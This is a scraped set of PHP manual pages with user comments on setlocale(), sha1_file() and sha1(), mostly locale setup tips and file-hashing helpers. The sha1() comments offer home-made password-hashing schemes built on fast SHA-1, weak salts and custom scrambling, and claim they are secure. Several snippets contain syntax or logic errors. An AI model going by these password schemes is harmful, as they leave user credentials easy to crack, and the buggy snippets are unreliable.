For Apache on Windows (wamp), or Linux RedHat (lampp):
if you expect the locale from the environment of PHP process instead of defining it by your code, you shall request the value of locale with setlocale and a null value.
On windows it is defined in system, not as an env variable, so you cannot see it with getenv(), but the behavior is the same : print with a decimal number with "," if requesting the locale, with "." otherwise.

This is different from the red warning above about locale set by another thread.
It seems that unless you request the setlocale, the locale conv array is not set with the environment. As a result the formatting of numbers is not following the locale in environment.

<?php
print getenv("LANG");
print $_ENV['LANG'];
print "calling localeconv() directly\n";
print_r(localeconv());
printf("%f",-123.456);
print "\ncalling setlocale() before localeconv()\n";
print(setlocale(LC_ALL,null));
print_r(localeconv());
printf("%f",-123.456);
?>
calling localeconv() directly
Array
(
    [decimal_point] => .
    [thousands_sep] =>
    [int_curr_symbol] =>
    [currency_symbol] =>
    [mon_decimal_point] =>
    [mon_thousands_sep] =>
    [positive_sign] =>
    [negative_sign] =>
    [int_frac_digits] => 127
    [frac_digits] => 127
    [p_cs_precedes] => 127
    [p_sep_by_space] => 127
    [n_cs_precedes] => 127
    [n_sep_by_space] => 127
    [p_sign_posn] => 127
    [n_sign_posn] => 127
    [grouping] => Array
        (
        )

    [mon_grouping] => Array
        (
        )

)
-123.456000
calling setlocale() before localeconv()
French_France.1252
Array
(
    [decimal_point] => ,
    [thousands_sep] =>
    [int_curr_symbol] => EUR
    [currency_symbol] => €
    [mon_decimal_point] => ,
    [mon_thousands_sep] =>
    [positive_sign] =>
    [negative_sign] => -
    [int_frac_digits] => 2
    [frac_digits] => 2
    [p_cs_precedes] => 0
    [p_sep_by_space] => 1
    [n_cs_precedes] => 0
    [n_sep_by_space] => 1
    [p_sign_posn] => 1
    [n_sign_posn] => 1
    [grouping] => Array
        (
            [0] => 3
        )

    [mon_grouping] => Array
        (
            [0] => 3
        )

)
-123,456000
Un_passant 16-Nov-2008 03:56
For debian/ubuntu, don't forget the charset UFT8.

// Works on Ubuntu 8.04 Server
setlocale(LC_TIME, 'fr_FR.UTF8', 'fr.UTF8', 'fr_FR.UTF-8', 'fr.UTF-8');
benny at bennyborn dot de 09-Oct-2008 04:24
I had the problem (Debian), that the language de_DE was installed, but setlocale always returned false. I installed the language AFTER compiling PHP - that was the point. If you add some languages afterwards, you have to recompile php ;)
Charlo Dante 07-Oct-2008 02:23
Edwin Martin wrote already a note for Debian users, but it didn't work for me.

What DID work was this:

apt-get install locales-all

which installs more than the same apt-get without the '-all'

With 'locales-all' I got all languages running well.
Leigh Morresi 01-Oct-2008 11:27
Setting locale that is not supported by your system will result in some string operations returning a question mark "?" in your strings where it needs to perform transliteration.

1) Always check the return of setlocale() to ensure it has set to something supported

2) on Linux you can use the "locale -a" command to find a list of supported locales
alvaro at demogracia dot com 22-Sep-2008 09:33
A generalization for mk (26-Jan-2004) and totu (09-Sep-2002). The issue is not restricted to MySQL. For instance, when PHP needs to cast a floating point variable to string, it obeys the LC_NUMERIC settings:

<?php

$foo = 29.95;

echo "Locale: " . setlocale(LC_NUMERIC, 0) . "\n";
echo "Foo: $foo\n";

setlocale(LC_NUMERIC, 'Spanish_Spain.28605');
echo "Locale: " . setlocale(LC_NUMERIC, 0) . "\n";
echo "Foo: $foo\n";

?>

Under Windows, this code prints:

Locale: C
Foo: 29.95
Locale: Spanish_Spain.28605
Foo: 29,95
buana95 at yahoo dot com 21-Aug-2008 10:30
This will works for Indonesian on all platform (Windows, Linux and others Nix server):

<?php
echo '<pre>' . "\n";

//Add english as default (if all Indonesian not available)

setlocale(LC_ALL, 'id_ID.UTF8', 'id_ID.UTF-8', 'id_ID.8859-1', 'id_ID', 'IND.UTF8', 'IND.UTF-8', 'IND.8859-1', 'IND', 'Indonesian.UTF8', 'Indonesian.UTF-8', 'Indonesian.8859-1', 'Indonesian', 'Indonesia', 'id', 'ID', 'en_US.UTF8', 'en_US.UTF-8', 'en_US.8859-1', 'en_US', 'American', 'ENG', 'English');

//will output something like: Minggu, 17 Agustus 2008
echo strftime("%A, %d %B %Y") . "\n";

echo '</pre>' . "\n";
?>
Arjon 27-Jul-2008 09:12
Please take heed and read the warning above if you are running on a XAMPP or any other Windows apache server! It just took me far too long to figure this out; and all the while there was a warning right on the page.

If you're experiencing shifting locale settings (check with setlocale(LC_ALL,0), returning the current locale stuff) and you're running a windows server, then it's not just you! Again, I urge everyone to read the red, but oh so easy not to read, warning message on this page.
michal dot kocarek at brainbox dot cz 27-Jul-2008 08:33
Note about using UTF-8 locale charset on Windows systems:

According to MSDN, Windows setlocale()'s implementation does not support UTF-8 encoding.

Citation from "MSDN setlocale, _wsetlocale" page (http://msdn.microsoft.com/en-us/library/x99tb11d.aspx):
The set of available languages, country/region codes, and code pages includes all those supported by the Win32 NLS API except code pages that require more than two bytes per character, such as UTF-7 and UTF-8. If you provide a code page like UTF-7 or UTF-8, setlocale will fail, returning NULL.

So basically, code like
<?php setlocale(LC_ALL, 'Czech_Czech Republic.65001'); // 65001 is UTF-8 codepage ?>
does not work on Windows at all.

(written in time of PHP 5.2.4)
de ronino at kde (reverse it) 25-Jun-2008 02:43
I experienced the behavior stated in the above Warning box: Running PHP5 on a multithreaded Apache made the current locale change sometimes all of a sudden within a script, so strftime() output wasn't in the required format.

I recompiled Apache with the prefork MPM and now it works like a charm. Took me a long time to find out the reason as I overlooked the warning box searching for either a bug report or a programming error of mine...
jonas at jonashaag dot de 27-May-2008 12:11
On Ubuntu, you have to take p.e. "de_DE.utf8", all available languages you can get with:
    locale -a
Georg 04-Apr-2008 01:31
To set locale to 'de_DE' on my Debian 4 machine I had to:
- uncomment 'de_DE' in file /etc/locale.gen and afterwards
- run locale-gen from the shell
bryn AT lunarvis DOT com 21-Jan-2008 05:04
Posting this in the hope it might be useful to others, as I could find very little info anywhere. If you want to use a Welsh locale and have the suitable language support installed, you pass 'cym' (abbreviated form of Cymraeg) to setlocale:

<?php
setlocale(LC_TIME, 'cym');
$welsh= gmstrftime("%A, %B %Y - %H:%M",time());
echo $welsh;
?>

The above certainly applies to Windows systems, but should also apply to Unix if the required support is installed.

Cheers,

Bryn.
ostapk 27-Dec-2007 02:39
There is a new PECL extension under development called intl (it will be available in PHP5.3). Meanwhile all who rely on the setlocale() and friends should be aware about the limitations of them as covered in this post on the onPHP5.com blog: http://www.onphp5.com/article/22
Periklis 13-Sep-2007 02:33
In *some* Windows systems, setting LC_TIME only will not work, you must either set LC_ALL or both LC_CTYPE and LC_TIME. BUT if you have already set LC_TIME using setlocale earlier in the script, dates will not be affected! For example:
<?php
setlocale(LC_TIME, 'greek');
setlocale(LC_CTYPE, 'greek');
?>
will not work, while
<?php
setlocale(LC_CTYPE, 'greek');
setlocale(LC_TIME, 'greek');
?>
will do the job.
mvanbaak 09-May-2007 05:03
To complement Sven K's tip about debian:

You can also install the package locales-all
That one holds all the locales there are in compiled form.
szepeshazi at gmail dot com 18-Feb-2007 07:11
For those of you who are unfortunate enough (like me) to work in Windows environment, and try to set the locale to a language _and_ to UTF-8 charset, and were unable to do it, here is a workaround.

For example to output the date in hungarian with UTF-8 charset, this will work:

    $dateString = "%B %d., %A";
    setlocale(LC_ALL,'hungarian');
    $res=strftime($dateString);
    echo(iconv('ISO-8859-1', 'UTF-8', $res));

If anybody knows how to set the locale on Windows to the equivalent of "hu_HU.UTF-8" on unix, please do tell me.
lifeless 20-Nov-2006 09:40
if your server is an ubuntu (debian like)
you need to install the locales you want (default is english and your language) go to aptitude and install -language-pack-*-base it will resolve dependencies and will try to install a suggested package, remove it if you don't care and proceed.
Clayton Smith 26-Sep-2006 11:15
If you already have all the locales installed and "locale -a" is only showing a few languages, then edit /etc/locale.gen and add a line, e.g., es_MX ISO-8859-1.  After you add the line, run the command locale-gen for it to generate the locales based on those settings.
Sven K 07-Jun-2006 03:08
If your system doesn't show any installed locales by "locale -a", try installing them by "dpkg-reconfigure locales" (on debian).
08-Mar-2006 12:17
The example from bruno dot cenou at revues dot org below shows the possibility, but I want to spell it out: you can add charset info to setlocale.

Example:

Into my utf-8-encoded page I want to insert the name of the current month, which happens to be March, in German "März" - with umlaut. If you use

   setlocale(LC_TIME, 'de_DE');
   echo strftime("%B");

this will return "M&auml;rz", but that html-entity will look like this on a utf-8 page: "M?rz". Not what I want.

But if you use

   setlocale(LC_TIME, 'de_DE.UTF8');  // note the charset info !
   echo strftime("%B");

this returns "M√§rz", which, on utf-8, looks like it should: "März".
bruno dot cenou at revues dot org 20-Feb-2006 06:31
A little function to test available locales on a sytem :

<?php
function list_system_locales(){
    ob_start();
    system('locale -a');
    $str = ob_get_contents();
    ob_end_clean();
    return split("\\n", trim($str));
}

$locale = "fr_FR.UTF8";
$locales = list_system_locales();

if(in_array($locale, $locales)){
        echo "yes yes yes....";
}else{
        echo "no no no.......";
}

?>
Edwin Martin 20-Feb-2006 04:29
Debian users: Addition to Gabor Deri's note: if setlocale doesn't work in your locale and you're on Debian, and Gabor Deri's note doesn't work, you have to install the locales package.

As root, type: "apt-get install locales" and it will be installed.
glenn at europlan dot no 29-Nov-2005 11:55
In most Unix/Linux system, you could use:

locale -a

This will list all available locales on the server.
birkholz at web dot de 14-Aug-2005 08:42
When i tried to get the current locale (e.g. after i set the lang to german with setlocale(LC_ALL, 'de_DE'); ), the following did not work on my suse linux 9.0-box:
$currentLocale = setlocale(LC_ALL, NULL);
This code did a reset to the server-setting.

$currentLocale = setlocale(LC_ALL, 0); works perfectly for me, but the manual says NULL and 0 are equal in this case, but NULL seems to act like "".
pigmeu at pigmeu dot net 18-Oct-2004 01:42
!!WARNING!!

The "locale" always depend on the server configuration.

i.e.:
When trying to use "pt_BR" on some servers you will ALWAYS get false. Even with other languages.

The locale string need to be supported by the server. Sometimes there are diferents charsets for a language, like "pt_BR.utf-8" and "pt_BR.iso-8859-1", but there is no support for a _standard_ "pt_BR".

This problem occours in Windows platform too. Here you need to call "portuguese" or "spanish" or "german" or...

Maybe the only way to try to get success calling the function setlocale() is:
setlocale(LC_ALL, "pt_BR", "pt_BR.iso-8859-1", "pt_BR.utf-8", "portuguese", ...);

But NEVER trust on that when making functions like date conversions or number formating. The best way to make sure you are doing the right thing, is using the default "en_US" or "en_UK", by not calling the setlocale() function. Or, make sure that your server support the lang you want to use, with some tests.

Remember that: Using the default locale setings is the best way to "talk" with other applications, like dbs or rpc servers, too.

[]s

Pigmeu
dv at josheli dot com 12-Aug-2004 04:04
On Novell Netware, the language codes require hyphens, not underscores, and using anything other than LC_ALL doesn't work directly.

So... (from their support list)....

You have to set TIME, NUMERIC etc. info in two steps as given below rather than one. This is due to the limitation of setlocale function of LibC.
<?php
   setlocale(LC_ALL, 'es-ES');
   $loc = setlocale(LC_TIME, NULL);
   echo strftime("%A %e %B %Y", mktime(0, 0, 0, 12, 22, 1978));
  // jeuves 22 diciembre 1978
?>
This should work.

or of course, reset LC_ALL...
<?php
setlocale(LC_ALL, 'es-ES');
echo strftime("%A %e %B %Y", mktime(0, 0, 0, 12, 22, 1978));
setlocale(LC_ALL, '');
// jeuves 22 diciembre 1978
?>
bogdan at iHost dot ro 02-Mar-2004 02:53
On some systems (at least FreeBSD 4.x) the format for a `locale' is, for example, ro_RO.ISO8859-2. If you use ro_RO instead setlocale will return FALSE. Just browse in /usr/share/locale and see what is the name of the directory holding your `locale' and use that name in your scripts:

<?php
  clearstatcache();
  $pos = strrpos ($_SERVER["PHP_SELF"], "/");
  $fisier = substr ($_SERVER["PHP_SELF"], $pos + 1);
  $result = filemtime ($fisier);
  $local = setlocale (LC_TIME, 'ro_RO.ISO8859-2');
  if ($local == "ro_RO.ISO8859-2") {
    $modtime = strftime '%e&nbsp;%B&nbsp;%Y&nbsp;%H:%M', $result);
  } else {
    $modtime = strftime ('%d.%m.%Y&nbsp;%H:%M', $result);
  }
  printf ("Ultima&nbsp;actualizare: %s\\n", $modtime);
?>
mk at totu dot com 26-Jan-2004 04:59
Be carefull - setting a locale which uses commas instead of dots in numbers may cause a mysql db not to understand the query:
<?php
setlocale(LC_ALL,"pl");
$price = 1234 / 100; // now the price looks like 12,34
$query = mysql_query("SELECT Id FROM table WHERE price='".$price."'");
?>
Even if there is a price 12.34 - nothing will be found
r dot nospam dot velseboer at quicknet dot nospam dot nl 08-Sep-2002 07:02
be careful with the LC_ALL setting, as it may introduce some unwanted conversions. For example, I used

setlocale (LC_ALL, "Dutch");

to get my weekdays in dutch on the page. From that moment on (as I found out many hours later) my floating point values from MYSQL where interpreted as integers because the Dutch locale wants a comma (,) instead of a point (.) before the decimals. I tried printf, number_format, floatval.... all to no avail. 1.50 was always printed as 1.00 :(

When I set my locale to :

 setlocale (LC_TIME, "Dutch");

my weekdays are good now and my floating point values too.

I hope I can save some people the trouble of figuring this out by themselves.

Rob
jorg-spamm at omnimedia dot no 03-Jul-2002 11:23
I needed to compile and install some extra locales to get this to work on RH7.3. Probably just me not doing a proper installation, but this is what it took to fix it:

localedef -ci no_NO -f ISO_8859-1 no_NO
elindset at hoved dot net 12-May-2002 02:59
In FreeBSD I had to use no_NO.ISO8859-1 instead of just no_NO..

<?PHP
    setlocale (LC_ALL, 'no_NO.ISO8859-1');
    echo strftime ("%A %e %B %Y", time());
?>
misc dot anders at feder dot dk 19-Jun-2001 06:13
Under FreeBSD, locale definitions are stored in the /usr/share/locale/ directory. Danish time formats and weekdays, for instance, are stored in /usr/share/locale/da_DK.ISO_8859-1/LC_TIME.
noog at libero dot it 23-Nov-2000 03:13
On windows:
Control Panel->International Settings
You can set your locale and customize it
And locale-related PHP functions work perfectly
Morgan Christiansson &lt;mog at linux dot nu&gt; 29-Mar-2000 12:56
check /usr/share/locale/ if you want more info about the locale available with your *NIX box

there is also a file called /usr/share/locale/locale.alias with a list of aliases
such as swedish for sv_SE

so on all boxes i have accounts on (rh 6.0 and slack 3.4) you can just use setlocale("LC_ALL","swedish"); or other prefered language in plain english.

However, the weekdays were in all lowercase :(

Note: export LC_ALL=swedish made a lot of programs swedish for me, it's also possible to make them russian or japanese :)
Lucas Thompson <lucas at slf dot cx> 31-Jan-2000 02:57
The Open Group has an excellent document available on the setlocale() library function, most of which applies to the PHP function of the same name.

http://www.opengroup.org/onlinepubs/7908799/xbd/locale.html

WARNING: This document might be a little too complex for people who came from HTML to PHP.

If you migrated from the world of C programming you'll be a locale master after reading this document.
rtrim
sha1_file
String Functions


Calculate the sha1 hash of a file

setlocale
sha1
String Functions
PHP Manual

sha1_file

(PHP 4 >= 4.3.0, PHP 5)

sha1_file — Calculate the sha1 hash of a file

Description

string sha1_file ( string $filename [, bool $raw_output = false ] )

Calculates the sha1 hash of the file specified by filename using the » US Secure Hash Algorithm 1, and returns that hash. The hash is a 40-character hexadecimal number.

Parameters

filename

The filename of the file to hash.

raw_output

When TRUE, returns the digest in raw binary format with a length of 20.

Return Values

Returns a string on success, FALSE otherwise.

Examples

Example #1 sha1_file() example

<?php
foreach(glob('/home/Kalle/myproject/*.php') as $ent)
{
    if(is_dir($ent))
    {
        continue;
    }

    echo $ent . ' (SHA1: ' . sha1_file($ent) . ')', PHP_EOL;
}
?>

Changelog

Version | Description
5.1.0 | Changed the function to use the streams API. It means that you can use it with wrappers, like sha1_file('http://example.com/..')
5.0.0 | Added the raw_output parameter

See Also

  • sha1() - Calculate the sha1 hash of a string
  • md5_file() - Calculates the md5 hash of a given file
  • crc32() - Calculates the crc32 polynomial of a string

User Contributed Notes

xijque at gmail dot com 05-Jul-2011 07:13
Just for the record -

As some have pointed out, you have two ways to generate the hash of a file:
Method 1 [this function]: sha1_file($file)
Method 2: sha1(file_get_contents($file))

It's important to realize that these two methods are NOT the same thing. If they were, I seriously doubt this function would exist.

The key difference, as far as I can tell, is how the file's contents are loaded. The second method loads the entirety of $file into memory before passing it to sha1($str). Method two, however, loads the contents of $file as they are needed to create the hash.

If you can guarantee that you'll only ever have to hash relatively small files, this difference means very little. If you have larger ones, though, loading the entirety of file into memory is a bad idea: best case, you slow down your server as it tries to handle the request; worse case, you run out of memory and don't get your hash at all.

Just try to keep this in mind if you decide to load the file's contents yourself, in lieu of using this function. On my system, I was able to use this function to generate the hash of a 2.6GB file in 22 seconds, whereas I could not with the second method, due to an out-of-memory error (which took 185 seconds).
Goodlookinguy at NRG&#39;s RPG dot com 25-Nov-2008 07:01
In php 5.1.2 and above, the alternative to using this could be this little bit I wrote.  It can be used for other hashes as well.

<?php
/*        $by   : Nicholas
        $date : 11/25/08
        $site : http://nrgsrpg.com
    $copyright: This can be redistributed at will.
*///    $des  : For Hashing Files in all sorts of ways
class hashing {
    public static function filehash($file,$hash) {
        if (file_exists($file)) {
            return hash($hash,file_get_contents($file));
        }
        else {
            return "Error Occurred: File Does Not Exist";
        }
    }
}

echo hashing::filehash("index.php","sha1")."<br />";
echo hashing::filehash("index.php","whirlpool")."<br />";
echo hashing::filehash("index.php","sha512");
?>

Have fun!
vista_ at live dot se 23-Nov-2008 04:05
<?php
     if(!function_exists('sha1_file'))
     {
          function sha1_file($file = null)
          {
               if(is_null($file) || !file_exists($file))
               {
                    return trigger_error('File is null or does not exists');
               }

               return sha1(file_get_contents($file));
          }
     }
?>

Remember, it's important to write a corret url like this:
/home/snackzon/public_html/php/sha1.php
schiros at invisihosting dot com 06-Sep-2007 07:02
If you've got a script that allows user file upload, and you want to prevent multiple uploads of the same file:

    <?
        session_start();
        $isDuplicate = false;
        if(isset($_FILES["filename"]["tmp_name"]) && file_exists($_FILES["filename"]["tmp_name"])) {
            $fileHash = sha1_file($_FILES["filename"]["tmp_name"]);
            if(!isset($_SESSION["check_filelist"])) {
                $_SESSION["check_filelist"] = array($fileHash);
            }
            elseif(in_array($fileHash,$_SESSION["check_filelist"])) {
                $isDuplicate = true;
            }
            else {
                $_SESSION["check_filelist"][] = $fileHash;
            }

            if($isDuplicate) {
                echo "You've already uploaded that file";
            }
            else{
                // do some stuff
            }
        }

    ?>
admin at cmsrevolution dot com 04-Aug-2006 08:02
checking the sha1 of the file. ideal for download scripts making sure the file the user is downloading is not currupt
by checking the sha1 key

<?php
$filename = './Path/To/Your/File.zip';

if (file_exists($filename)) {
echo"i see the file";
} else {
echo "recheck the link file maybe broken";
}
$file = sha1_file('./Path/To/Your/File.zip');

echo"<br>is file hash valid?";
echo"hash = add the hash here<br>";
echo"hash of file :";
print($file);
?>
gubatron at gmail dot com 10-Feb-2006 07:02
P2P programs like LimeWire utilize sha1 to identify files. However they do it in base32. Here's an utility class if you want to write a Gnutella client in PHP5

/**
Utility base32 SHA1 class for PHP5
Copyright (C) 2006  Karl Magdsick (original author for Python)
                    Angel Leon (ported to PHP5)
                    Lime Wire LLC

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
*/
class SHA1 {
  static $BASE32_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';

  /** Given a file it creates a magnetmix */
  static function fileSHA1($file) {
    $raw = sha1_file($file,true);
    return SHA1::base32encode($raw);
  } //fileSHA1

  /** Takes raw input and converts it to base32 */
  static function base32encode($input) {
    $output = '';
    $position = 0;
    $storedData = 0;
    $storedBitCount = 0;
    $index = 0;

    while ($index < strlen($input)) {
      $storedData <<= 8;
      $storedData += ord($input[$index]);
      $storedBitCount += 8;
      $index += 1;

      //take as much data as possible out of storedData
      while ($storedBitCount >= 5) {
        $storedBitCount -= 5;
        $output .= SHA1::$BASE32_ALPHABET[$storedData >> $storedBitCount];
        $storedData &= ((1 << $storedBitCount) - 1);
      }
    } //while

    //deal with leftover data
    if ($storedBitCount > 0) {
      $storedData <<= (5-$storedBitCount);
      $output .= SHA1::$BASE32_ALPHABET[$storedData];
    }

    return $output;
  } //base32encode

}
setlocale
sha1
String Functions


Calculate the sha1 hash of a string

sha1_file
similar_text
String Functions
PHP Manual

sha1

(PHP 4 >= 4.3.0, PHP 5)

sha1 — Calculate the sha1 hash of a string

Description

string sha1 ( string $str [, bool $raw_output = false ] )

Calculates the sha1 hash of str using the » US Secure Hash Algorithm 1.

Parameters

str

The input string.

raw_output

If the optional raw_output is set to TRUE, then the sha1 digest is instead returned in raw binary format with a length of 20, otherwise the returned value is a 40-character hexadecimal number.

Return Values

Returns the sha1 hash as a string.

Changelog

Version | Description
5.0.0 | The raw_output parameter was added.

Examples

Example #1 A sha1() example

<?php
$str = 'apple';

if (sha1($str) === 'd0be2dc421be4fcd0172e5afceea3970e2f3d940') {
    echo "Would you like a green or red apple?";
}
?>

Notes

Note: Secure password hashing

It is not recommended to use this function to secure passwords, due to the fast nature of this hashing algorithm. See here for details.

See Also

  • sha1_file() - Calculate the sha1 hash of a file
  • crc32() - Calculates the crc32 polynomial of a string
  • md5() - Calculate the md5 hash of a string
  • hash() - Generate a hash value (message digest)

User Contributed Notes

? 02-Jun-2011 05:05
SSHA LDAP password generation algorithm for standard PHP > 5.0

public function hashSSHA($password)
    {

        $salt = sha1(rand());
        $salt = substr($salt, 0, 4);
        $hash = base64_encode( sha1($password . $salt, true) . $salt );
        return $hash;
    }
?>
mgcummings at yahoo dot com 21-Mar-2011 12:46
Thought I might save someone else some time trying to figure out how to generate a hash like MySQL5 PASSWORD() makes using just PHP.

$hash = '*' . sha1(sha1($pass), TRUE));
rich dot sage at gmail dot com 25-Nov-2010 12:59
If you're using Dovecot for mail retrieval and you want to generate SHA1 passwords yourself, you'll need to set the raw_output value to true, then base64_encode the output:

<?php
function makeDovecotPassword($input)
{
  return '{SHA}' . base64_encode(sha1($input, true));
}
?>
Anonymous 24-Apr-2010 06:03
I have created simple functions that allow you to create tokens that expire within a certain amount of time.

Call generateTimedHash with your data to encode and a salt:

<?php
$token = generateTimedHash("This is data.", "SALTY");
?>

Now you can call verifyTimedHash, with your token, data, salt, and lifetime of the token. The function will return true if the token is correct and within the lifetime of the token. It will return false if the token is incorrect and/or the token has expired. To verify a token that expires 30 seconds after it is created, use this:

<?php
$valid = verifyTimedHash($token, "This is data.", "SALTY", 30);
?>

The functions:

<?php
function generateTimedHash($data, $salt)
{
    // Salt the token with a defined salt and the time
    return sha1($data . $salt . time());
}

function verifyTimedHash($token, $data, $salt, $life)
{
    // Get the current time
    $time = time();

    // Verify hash with current time
    if ($token == sha1($data . $salt . $time))
        return true;

    // If that didn't work, try verifiying it, each time subtracting 1 from $time, $life times
    for ($offset = 1; $offset <= $life; $offset++)
        if ($token == sha1($data . $salt . ($time - $offset)))
            return true;

    return false;
}
?>
Anonymous 28-Oct-2009 05:48
Another solution to the salted hash with salt included directly in the hash, while keeping the same length of the result. If you want to generate a hash, call the function without the second argument. If you want to check a password against a hash, use the hash as the second argument. In this case, the function returns the hash itself on success, or boolean false on failure. You can also specify a hash algorithm as the third argument (otherwise SHA-1 will be used).

<?php
function __hash($password, $obscured = NULL, $algorithm = "sha1")
{
  // whether to use user specified algorithm
  $mode = in_array($algorithm, hash_algos());
  // generate random salt
  $salt = uniqid(mt_rand(), true);
  // hash it
  $salt = $mode ? hash($algorithm, $salt) : sha1($salt);
  // get the length
  $slen = strlen($salt);
  // compute the actual length of salt we will use
  // 1/8 to 1/4 of the hash, with shorter passwords producing longer salts
  $slen = max($slen >> 3, ($slen >> 2) - strlen($password));
  // if we are checking password against a hash, harvest the actual salt from it, otherwise just cut the salt we already have to the proper size
  $salt = $obscured ? __harvest($obscured, $slen, $password) : substr($salt, 0, $slen);
  // hash the password - this is maybe unnecessary
  $hash = $mode ? hash($algorithm, $password) : sha1($password);
  // place the salt in it
  $hash = __scramble($hash, $salt, $password);
  // and hash it again
  $hash = $mode ? hash($algorithm, $hash) : sha1($hash);
  // cut the result so we can add salt and maintain the same length
  $hash = substr($hash, $slen);
  // ... do that
  $hash = __scramble($hash, $salt, $password);
  // and return the result
  return $obscured && $obscured !== $hash ? false : $hash;
}
?>

It uses a random, variable length salt, depending on the length of the password. The functions __scramble() and __harvest() are used to place salt into the hash or pull it out respectively. You can write your own, and of course the strength of the result greatly depends on them. They can be relatively simple yet still quite secure:

<?php
function __scramble($hash, $salt, $password)
{
  return substr($hash, 0, strlen($password)) . $salt . substr($hash, strlen($password));
}

function __harvest($obscured, $slen, $password)
{
  return substr($obscured, min(strlen($password), strlen($obscured) - $slen), $slen);
}
?>

Or they can be ridiculously complicated (my favourite kind):

<?php
function __scramble($hash, $salt, $password)
{
  $k = strlen($password); $j = $k = $k > 0 ? $k : 1; $p = 0; $index = array(); $out = ""; $m = 0;
  for ($i = 0; $i < strlen($salt); $i++)
  {
    $c = substr($password, $p, 1);
    $j = pow($j + ($c !== false ? ord($c) : 0), 2) % (strlen($hash) + strlen($salt));
    while (array_key_exists($j, $index))
      $j = ++$j % (strlen($hash) + strlen($salt));
    $index[$j] = $i;
    $p = ++$p % $k;
  }
  for ($i = 0; $i < strlen($hash) + strlen($salt); $i++)
    $out .= array_key_exists($i, $index) ? $salt[$index[$i]] : $hash[$m++];
  return $out;
}

function __harvest($obscured, $slen, $password)
{
  $k = strlen($password); $j = $k = $k > 0 ? $k : 1; $p = 0; $index = array(); $out = "";
  for ($i = 0; $i < $slen; $i++)
  {
    $c = substr($password, $p, 1);
    $j = pow($j + ($c !== false ? ord($c) : 0), 2) % strlen($obscured);
    while (in_array($j, $index))
      $j = ++$j % strlen($obscured);
    $index[$i] = $j;
    $p = ++$p % $k;
  }
  for ($i = 0; $i < $slen; $i++)
    $out .= $obscured[$index[$i]];
  return $out;
}
?>
paul 15-Apr-2009 06:57
I believe this offers best amount of protection using a random salt, that has to be stored so it can be used later for verification.

If no salt is given (which can be retrieved by halving the output and taking the first half), then it will generate a random salt, hash it, place it in a position relative to the length of password (between 0 and length of hash type(sha1? md5?)) within the hashed password, and then hash the complete string.

This results in a password hash using a salt that is dynamically placed dependant on password length. The salt used is then appended to the front of the finished hash so it can be retrieved later on for verifying.

Seeing as users will choose a typical password of between 5 and say 15 characters long, this gives them an extra 10 times the amount of dictionary attacks to try out with the hash as it could be placed in any position, because this is a random generated salt too, it means at least 10 dictionary attacks (with possiblity of upto 40) for each instance a password is created, to try and work out your sha1 encrypted password.

If you change your password say every month, even if someone gets a look in at your file through a local exploit, the amount of time to work out your password would far outweigh the frequency at which you change it.

Nothing is secure, but this should take them longer to work out then the time you change it. That is at least by todays technologies.

Paul

<?php
    function createHash($inText, $saltHash=NULL, $mode='sha1'){
        // hash the text //
        $textHash = hash($mode, $inText);
        // set where salt will appear in hash //
        $saltStart = strlen($inText);
        // if no salt given create random one //
        if($saltHash == NULL) {
            $saltHash = hash($mode, uniqid(rand(), true));
        }
        // add salt into text hash at pass length position and hash it //
        if($saltStart > 0 && $saltStart < strlen($saltHash)) {
            $textHashStart = substr($textHash,0,$saltStart);
            $textHashEnd = substr($textHash,$saltStart,strlen($saltHash));
            $outHash = hash($mode, $textHashEnd.$saltHash.$textHashStart);
        } elseif($saltStart > (strlen($saltHash)-1)) {
            $outHash = hash($mode, $textHash.$saltHash);
        } else {
            $outHash = hash($mode, $saltHash.$textHash);
        }
        // put salt at front of hash //
        $output = $saltHash.$outHash;
        return $output;
    }
?>
mVamer 07-Jan-2009 05:49
If I correctly understand what ranko84 is on about, this would be a simpler function with roughly the same result.

<?php
function obscure($password, $algorythm = "sha1")
{
        // Get some random salt, or verify a salt.
        // Added by (grosbedo AT gmail DOT com)
        if ($salt == NULL)
        {
            $salt = hash($algorythm, uniqid(rand(), true));
        }

    // Determine the length of the hash.
    $hash_length = strlen($salt);

    // Determine the length of the password.
    $password_length = strlen($password);

    // Determine the maximum length of password. This is only needed if
    // the user enters a very long password. In any case, the salt will
    // be a maximum of half the end result. The longer the hash, the
    // longer the password/salt can be.
    $password_max_length = $hash_length / 2;

    // Shorten the salt based on the length of the password.
    if ($password_length >= $password_max_length)
    {
        $salt = substr($salt, 0, $password_max_length);
    }
    else
    {
        $salt = substr($salt, 0, $password_length);
    }

    // Determine the length of the salt.
    $salt_length = strlen($salt);

    // Determine the salted hashed password.
    $salted_password = hash($algorythm, $salt . $password);

    // If we add the salt to the hashed password, we would get a hash that
    // is longer than a normally hashed password. We don't want that; it
    // would give away hints to an attacker. Because the password and the
    // length of the password are known, we can just throw away the first
    // couple of characters of the salted password. That way the salt and
    // the salted password together are the same length as a normally
    // hashed password without salt.
    $used_chars = ($hash_length - $salt_length) * -1;
    $final_result = $salt . substr($salted_password, $used_chars);

    return $final_result;
}
?>
ranko84 at gmail dot com 16-Dec-2008 08:11
Small update..., well more like fix to the obscure function, replace
<?php
if ($keepLength != NULL)
{
    if ($hSLength != 0)
    {
        $hPassHash = substr($hPassHash, $hLPosition, -$hRPosition);
    }
}
?>

with

<?php
if ($keepLength != NULL)
{
    if ($hSLength != 0)
    {
        if ($hRPosition == 0)
        {
            $hPassHash = substr($hPassHash, $hLPosition);
        }
        else
        {
            $hPassHash = substr($hPassHash, $hLPosition, -$hRPosition);
        }
    }
}
?>

I've been getting few requests to explain how it's used so, this might be little long.

Problems:
1. In most solutions with hash and salt, you were bound to have one extra row in your database that would state, preferably random, salt for that hashed data. If attacker would manage to get drop of your database he would get hashed data and salt that is used with plain data to make it obscure, and then cracking that hashed data would be same as if you didn't add any salt to it.
2. I stumbled upon some functions that would hash data, then input salt into random places in hash and store it in database, but they would still have to write down random parameter used to scramble salt so they could reuse it when validating data. Getting simple database drop wouldn't help much here, but if they would manage to get their hands on obscuring function too, they could easily see what is salt and what hash.

Solutions:
